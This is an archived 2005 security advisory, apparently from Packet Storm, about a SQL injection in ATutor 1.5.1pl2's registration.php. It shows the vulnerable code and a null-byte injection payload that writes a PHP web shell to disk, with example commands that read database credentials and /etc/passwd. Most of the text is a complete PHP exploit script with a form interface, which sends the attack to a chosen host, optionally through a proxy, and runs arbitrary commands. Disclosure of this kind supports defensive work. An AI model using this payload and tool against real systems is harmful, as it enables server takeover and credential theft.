atutor151pl2.txt

🗓️ 08 Nov 2005 00:00:00Reported by rgodType
packetstorm🔗 packetstormsecurity.com👁 24 Views
ATutor 1.5.1pl2 SQL Injection / Remote commands execution. Vulnerable registration.php cod
`ATutor 1.5.1pl2 SQL Injection / Remote commands execution  
  
software:  
site: http://www.atutor.ca/  
description : "ATutor is an Open Source Web-based Learning Content Management  
System (LCMS) designed with accessibility and adaptability in mind."  
  
  
if magic_quotes_gpc off -> SQL INJECTION  
  
vulnerable code in registration.php at lines 26-34:  
  
...  
if ($_POST['email'] == '') {  
$msg->addError('EMAIL_MISSING');  
} else if (!eregi("^[a-z0-9\._-]+@+[a-z0-9\._-]+\.+[a-z]{2,6}$", $_POST['email'])) {  
$msg->addError('EMAIL_INVALID');  
}  
  
$result = mysql_query("SELECT * FROM ".TABLE_PREFIX."members WHERE email LIKE '$_POST[email]'",$db);  
if (mysql_num_rows($result) != 0) {  
$msg->addError('EMAIL_EXISTS');  
}  
...  
  
  
you can bypass regex check and inject SQL statements appending a null char (%00)  
to a valid email address, ex:  
  
[email protected][null char]'UNION SELECT 0,0,0,0,'<?php echo "Hi Master"; error_reporting(0);  
ini_set("max_execution_time",0);system($_GET[cmd]);?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0  
INTO OUTFILE "../../www/shell.php" FROM at_members/*  
  
now in shell.php we have:  
  
<?php echo "Hi Master"; error_reporting(0);ini_set("max_execution_time",0);system($_GET[cmd]);?>  
  
then you can launch commands:  
  
http://[target]/[path]/shell.php?cmd=cat%20./include/config.inc.php  
  
(look inside html for database username & password...)  
  
this is my proof of concept exploit:  
  
<?php  
# atutor_151pl2_xpl.php 5.12 08/11/2005 #  
# #  
# Atutor 1.5.1 pl2 (possibly prior versions) SQL injection / #  
# / remote commands execution #  
# by rgod #  
# site: http://rgod.altervista.org #  
# #  
# usage: launch from Apache, fill in requested fields, then go! #  
# #  
# make these changes in php.ini if you have troubles #  
# with this script: #  
# allow_call_time_pass_reference = on #  
# register_globals = on #  
# #  
# Sun-Tzu: "Hence, when able to attack, we must seem unable; when using our #  
# forces, we must seem inactive; when we are near, we must make the enemy #  
# believe we are far away; when far away, we must make him believe we are #  
# near." #  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout", 2);  
ob_implicit_flush (1);  
  
echo'<html><head><title>ATutor 1.5.1pl2 SQL Injection/remote cmmnds xctn</title>  
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style  
type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;  
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img  
{background-color: #FFFFFF !important} input {background-color: #303030  
!important} option { background-color: #303030 !important} textarea  
{background-color: #303030 !important} input {color: #1CB081 !important} option  
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox  
{background-color: #303030 !important} select {font-weight: normal; color:  
#1CB081; background-color: #303030;} body {font-size: 8pt !important;  
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:  
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em  
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em  
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em  
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:  
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited  
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;  
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-weight:bold; font-style: italic;}--></style></head> <body> <p class="Stile6">  
ATutor 1.5.1pl2 (possibly prior versions) remote commands xcution </p><p class="  
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">  
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form  
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=  
value&port=value&command=value&proxy=value"><p><input type="text" name="host">  
<span class="Stile5">hostname (ex: www.sitename.com) </span> </p> <p> <input  
type="text" name="path"><span class="Stile5"> path ( ex: /atutor/ or just /)  
</span></p><p> <input type="text" name="pathtoWWW"><span class="Stile5"> path  
to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement  
(default: ../../www) </span></p><p><input type="text" name="port" > <span  
class="Stile5"> specify a port other than 80 (default value)</span> </p><p>  
<input type="text" name="command"> <span class="Stile5">a Unix command ,  
example: ls -la to list directories, cat /etc/passwd to show passwd file, cat  
./include/config.inc.php to see database username and password</span>  
</p><p><input type="text" name="proxy"><span class="Stile5">send exploit through  
an HTTP proxy (ip:port)</span></p><p><input type="submit"name="Submit"  
value="go!"></p></form></td></tr></table></body></html>';  
  
  
function show($headeri)  
{  
$ii=0;  
$ji=0;  
$ki=0;  
$ci=0;  
echo '<table border="0"><tr>';  
while ($ii <= strlen($headeri)-1)  
{  
$datai=dechex(ord($headeri[$ii]));  
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "<td>&nbsp;&nbsp;</td>";  
for ($li=0; $li<=15; $li++)  
{ echo "<td>".$headeri[$li+$ki]."</td>";  
}  
$ki=$ki+16;  
echo "</tr><tr>";  
}  
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else  
{echo "<td>".$datai."</td> ";}  
$ii++;  
$ji++;  
}  
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)  
{ echo "<td>&nbsp&nbsp</td>";  
}  
  
for ($li=$ci*16; $li<=strlen($headeri); $li++)  
{ echo "<td>".$headeri[$li]."</td>";  
}  
echo "</tr></table>";  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load  
//next function to send packets  
{  
global $proxy, $host, $port, $packet, $html, $proxy_regex;  
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
if ($socket < 0) {  
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";  
}  
else  
{ $c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
}  
echo "OK.<br>";  
echo "Attempting to connect to ".$host." on port ".$port."...<br>";  
if ($proxy=='')  
{  
$result = socket_connect($socket, $host, $port);  
}  
else  
{  
  
$parts =explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$result = socket_connect($socket, $parts[0],$parts[1]);  
}  
if ($result < 0) {  
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";  
}  
else  
{  
echo "OK.<br><br>";  
$html= '';  
socket_write($socket, $packet, strlen($packet));  
echo "Reading response:<br>";  
while ($out= socket_read($socket, 2048)) {$html.=$out;}  
echo nl2br(htmlentities($html));  
echo "Closing socket...";  
socket_close($socket);  
  
}  
}  
}  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='')  
{$ock=fsockopen(gethostbyname($host),$port);}  
else  
{  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
}  
$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) { echo 'No response from proxy...';  
die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='')  
{  
  
$html='';  
while (!feof($ock))  
{  
$html.=fgets($ock);  
}  
}  
else  
{  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))  
{  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
echo nl2br(htmlentities($html));  
}  
  
  
if (($host<>'') and ($path<>'') and ($command<>''))  
{  
$port=intval(trim($port));  
if ($port=='') {$port=80;}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($pathtoWWW=='') {$pathtoWWW="../../www";}  
#default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for  
#different installations  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
$SQL="[email protected]".urlencode(chr(0x00)."'UNION SELECT 0,0,0,0,'<?php echo \"Hi Master\"; error_reporting(0);ini_set(\"max_execution_time\",0);system(\$_GET[cmd]);?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO OUTFILE \"".$pathtoWWW.$path."shell.php\" FROM at_members/*");  
$data="login=suntzu&password=jimijimi&password2=jimijimi&email=".$SQL."&lang=en&first_name=&last_name=&year=&month=&day=&gender=ns&address=&postal=&city=&province=&country=&phone=&website=http%3A%2F%2F&submit=+Submit+";  
$packet="POST ".$p."registration.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
show($packet);  
sendpacketii($packet);  
  
$packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
  
if (eregi("Hi Master",$html)) {echo "<br>Exploit Succeded...";}  
else {echo "<br>Exploit Failed...";}  
}  
else  
{echo 'Fill in requested fields, optionally specify a proxy';}  
  
  
?>  
  
  
rgod  
site: http://altervista.org  
mail: retrogod at aliceposta it  
original advisory: http://rgod.altervista.org/atutor151pl2.html  
`
08 Nov 2005 00:00Current
7.4High risk
Vulners AI Score7.4